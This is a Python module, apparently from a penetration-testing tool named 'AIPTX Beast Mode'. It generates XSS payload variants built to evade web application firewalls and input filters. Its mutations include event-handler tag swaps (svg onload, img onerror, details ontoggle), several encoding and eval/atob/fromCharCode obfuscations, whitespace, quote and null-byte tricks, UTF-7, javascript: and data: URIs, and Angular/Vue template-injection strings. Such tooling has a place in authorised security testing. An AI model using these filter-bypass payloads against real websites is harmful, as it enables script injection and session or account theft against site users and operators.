"""
AIPTX Beast Mode - XSS Mutations
================================

Advanced XSS payload mutations for WAF bypass.
"""

from __future__ import annotations

import logging
import re
from dataclasses import dataclass, field
from typing import Callable

logger = logging.getLogger(__name__)


@dataclass
class XSSMutation:
    """A single XSS mutation technique."""
    name: str
    description: str
    transform: Callable[[str], str]
    context: list[str] = field(default_factory=lambda: ["all"])


class XSSMutator:
    """
    XSS payload mutator.

    Applies various mutation techniques to bypass WAF and filters.
    """

    def __init__(self, context: str = "html_body"):
        """
        Initialize the XSS mutator.

        Args:
            context: Injection context (html_body, html_attribute, javascript, url)
        """
        self.context = context
        self._mutations = self._build_mutations()

    def mutate(self, payload: str) -> list[tuple[str, str]]:
        """
        Generate all mutation variants of a payload.

        Args:
            payload: Original XSS payload

        Returns:
            List of (mutated_payload, mutation_name) tuples
        """
        results = []

        for mutation in self._mutations:
            if "all" in mutation.context or self.context in mutation.context:
                try:
                    mutated = mutation.transform(payload)
                    if mutated and mutated != payload:
                        results.append((mutated, mutation.name))
                except Exception as e:
                    logger.debug(f"Mutation {mutation.name} failed: {e}")

        return results

    def _build_mutations(self) -> list[XSSMutation]:
        """Build the list of mutation techniques."""
        return [
            # Case mutations
            XSSMutation(
                name="mixed_case_tags",
                description="Mixed case HTML tags",
                transform=self._mixed_case_tags,
            ),
            XSSMutation(
                name="mixed_case_events",
                description="Mixed case event handlers",
                transform=self._mixed_case_events,
            ),

            # Tag mutations
            XSSMutation(
                name="svg_instead_script",
                description="Use SVG onload instead of script",
                transform=lambda p: p.replace("<script>", "<svg onload=").replace("</script>", ">"),
            ),
            XSSMutation(
                name="img_instead_script",
                description="Use IMG onerror",
                transform=lambda p: re.sub(
                    r"<script>([^<]+)</script>",
                    r'<img src=x onerror="\1">',
                    p
                ),
            ),
            XSSMutation(
                name="body_onload",
                description="Use BODY onload",
                transform=lambda p: re.sub(
                    r"<script>([^<]+)</script>",
                    r'<body onload="\1">',
                    p
                ),
            ),
            XSSMutation(
                name="details_ontoggle",
                description="Use DETAILS ontoggle",
                transform=lambda p: re.sub(
                    r"<script>([^<]+)</script>",
                    r'<details open ontoggle="\1">',
                    p
                ),
            ),
            XSSMutation(
                name="marquee_onstart",
                description="Use MARQUEE onstart",
                transform=lambda p: re.sub(
                    r"<script>([^<]+)</script>",
                    r'<marquee onstart="\1">',
                    p
                ),
            ),
            XSSMutation(
                name="video_source_onerror",
                description="Use VIDEO/SOURCE onerror",
                transform=lambda p: re.sub(
                    r"<script>([^<]+)</script>",
                    r'<video><source onerror="\1"></video>',
                    p
                ),
            ),

            # Encoding mutations
            XSSMutation(
                name="html_entities",
                description="HTML entity encode",
                transform=self._html_entity_encode,
            ),
            XSSMutation(
                name="html_hex_entities",
                description="HTML hex entity encode",
                transform=self._html_hex_encode,
            ),
            XSSMutation(
                name="url_encode",
                description="URL encode payload",
                transform=self._url_encode,
            ),
            XSSMutation(
                name="unicode_encode",
                description="Unicode escape sequences",
                transform=self._unicode_encode,
                context=["javascript"],
            ),
            XSSMutation(
                name="hex_escape",
                description="JavaScript hex escapes",
                transform=self._js_hex_encode,
                context=["javascript"],
            ),

            # JavaScript mutations
            XSSMutation(
                name="backticks",
                description="Use backticks instead of parentheses",
                transform=lambda p: p.replace("alert(", "alert`").replace(")", "`").replace("`1`", "`1"),
            ),
            XSSMutation(
                name="fromcharcode",
                description="Use String.fromCharCode",
                transform=self._fromcharcode,
            ),
            XSSMutation(
                name="atob",
                description="Use atob() for payload",
                transform=self._atob_encode,
            ),
            XSSMutation(
                name="eval_concat",
                description="Use eval with concatenation",
                transform=self._eval_concat,
            ),

            # Whitespace mutations
            XSSMutation(
                name="tab_spaces",
                description="Use tabs in attributes",
                transform=lambda p: p.replace(" ", "\t"),
            ),
            XSSMutation(
                name="newline_spaces",
                description="Use newlines in attributes",
                transform=lambda p: p.replace(" ", "\n"),
            ),
            XSSMutation(
                name="slash_space",
                description="Use / instead of space in tags",
                transform=lambda p: re.sub(r"<(\w+)\s+", r"<\1/", p),
            ),

            # Quote mutations
            XSSMutation(
                name="no_quotes",
                description="Remove quotes from attributes",
                transform=self._remove_quotes,
            ),
            XSSMutation(
                name="backtick_quotes",
                description="Use backticks as quotes",
                transform=lambda p: p.replace('"', '`').replace("'", '`'),
            ),

            # Protocol mutations
            XSSMutation(
                name="javascript_protocol",
                description="Use javascript: protocol",
                transform=lambda p: f'<a href="javascript:{p}">click</a>',
                context=["html_body"],
            ),
            XSSMutation(
                name="data_uri",
                description="Use data: URI",
                transform=self._data_uri,
                context=["html_body"],
            ),

            # Event handler variations
            XSSMutation(
                name="autofocus_onfocus",
                description="Use autofocus with onfocus",
                transform=lambda p: re.sub(
                    r"<script>([^<]+)</script>",
                    r'<input autofocus onfocus="\1">',
                    p
                ),
            ),
            XSSMutation(
                name="formaction",
                description="Use formaction attribute",
                transform=lambda p: f'<form><button formaction="javascript:{p}">X</button></form>',
            ),

            # Null byte and encoding tricks
            XSSMutation(
                name="null_byte",
                description="Insert null bytes",
                transform=lambda p: p.replace("<", "<\x00"),
            ),
            XSSMutation(
                name="utf7_encode",
                description="UTF-7 encoding (legacy)",
                transform=lambda p: p.replace("<", "+ADw-").replace(">", "+AD4-"),
            ),

            # DOM-based mutations
            XSSMutation(
                name="innerhtml_payload",
                description="innerHTML injection format",
                transform=lambda p: f"<div id=x></div><script>document.getElementById('x').innerHTML='{p}'</script>",
                context=["html_body"],
            ),

            # Angular/template mutations
            XSSMutation(
                name="angular_expression",
                description="Angular template expression",
                transform=lambda p: "{{constructor.constructor('alert(1)')()}}",
                context=["html_body", "template"],
            ),
            XSSMutation(
                name="vue_expression",
                description="Vue template expression",
                transform=lambda p: "{{_c.constructor('alert(1)')()}}",
                context=["html_body", "template"],
            ),
        ]

    def _mixed_case_tags(self, payload: str) -> str:
        """Apply mixed case to HTML tags."""
        def mixer(match):
            tag = match.group(1)
            return "<" + "".join(c.upper() if i % 2 == 0 else c.lower() for i, c in enumerate(tag))
        return re.sub(r"<(\w+)", mixer, payload)

    def _mixed_case_events(self, payload: str) -> str:
        """Apply mixed case to event handlers."""
        events = ["onerror", "onload", "onclick", "onmouseover", "onfocus", "onblur"]
        result = payload
        for event in events:
            mixed = "".join(c.upper() if i % 2 == 0 else c.lower() for i, c in enumerate(event))
            result = re.sub(rf"\b{event}\b", mixed, result, flags=re.IGNORECASE)
        return result

    def _html_entity_encode(self, payload: str) -> str:
        """HTML entity encode special chars."""
        chars = {"<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#39;"}
        result = payload
        for char, entity in chars.items():
            result = result.replace(char, entity)
        return result

    def _html_hex_encode(self, payload: str) -> str:
        """HTML hex entity encode."""
        result = ""
        for char in payload:
            if char in '<>"\'&':
                result += f"&#x{ord(char):x};"
            else:
                result += char
        return result

    def _url_encode(self, payload: str) -> str:
        """URL encode special chars."""
        import urllib.parse
        return urllib.parse.quote(payload, safe='')

    def _unicode_encode(self, payload: str) -> str:
        """JavaScript unicode escapes."""
        return "".join(f"\\u{ord(c):04x}" for c in payload)

    def _js_hex_encode(self, payload: str) -> str:
        """JavaScript hex escapes."""
        return "".join(f"\\x{ord(c):02x}" for c in payload)

    def _fromcharcode(self, payload: str) -> str:
        """Convert to String.fromCharCode."""
        # Extract the function call
        match = re.search(r"alert\(([^)]+)\)", payload)
        if match:
            char_codes = [str(ord(c)) for c in f"alert({match.group(1)})"]
            return payload.replace(
                f"alert({match.group(1)})",
                f"eval(String.fromCharCode({','.join(char_codes)}))"
            )
        return payload

    def _atob_encode(self, payload: str) -> str:
        """Encode for atob() decoding."""
        import base64
        # Extract the JS code to encode
        match = re.search(r"<script>([^<]+)</script>", payload)
        if match:
            code = match.group(1)
            b64 = base64.b64encode(code.encode()).decode()
            return payload.replace(code, f"eval(atob('{b64}'))")
        return payload

    def _eval_concat(self, payload: str) -> str:
        """Use eval with string concatenation."""
        match = re.search(r"alert\(([^)]+)\)", payload)
        if match:
            return payload.replace(
                f"alert({match.group(1)})",
                "eval('ale'+'rt('+'" + match.group(1) + "'+')')"
            )
        return payload

    def _remove_quotes(self, payload: str) -> str:
        """Remove quotes from simple attributes."""
        return re.sub(r'(\w+)=["\'](\w+)["\']', r'\1=\2', payload)

    def _data_uri(self, payload: str) -> str:
        """Convert to data: URI."""
        import base64
        html = f"<script>{payload}</script>"
        b64 = base64.b64encode(html.encode()).decode()
        return f'<iframe src="data:text/html;base64,{b64}"></iframe>'


def mutate_xss_payload(payload: str, context: str = "html_body") -> list[tuple[str, str]]:
    """Convenience function to mutate XSS payload."""
    mutator = XSSMutator(context)
    return mutator.mutate(payload)


def get_xss_variants(payload: str, context: str = "html_body", limit: int = 20) -> list[str]:
    """Get mutated variants of an XSS payload."""
    mutations = mutate_xss_payload(payload, context)
    return [m[0] for m in mutations[:limit]]


__all__ = [
    "XSSMutation",
    "XSSMutator",
    "mutate_xss_payload",
    "get_xss_variants",
]
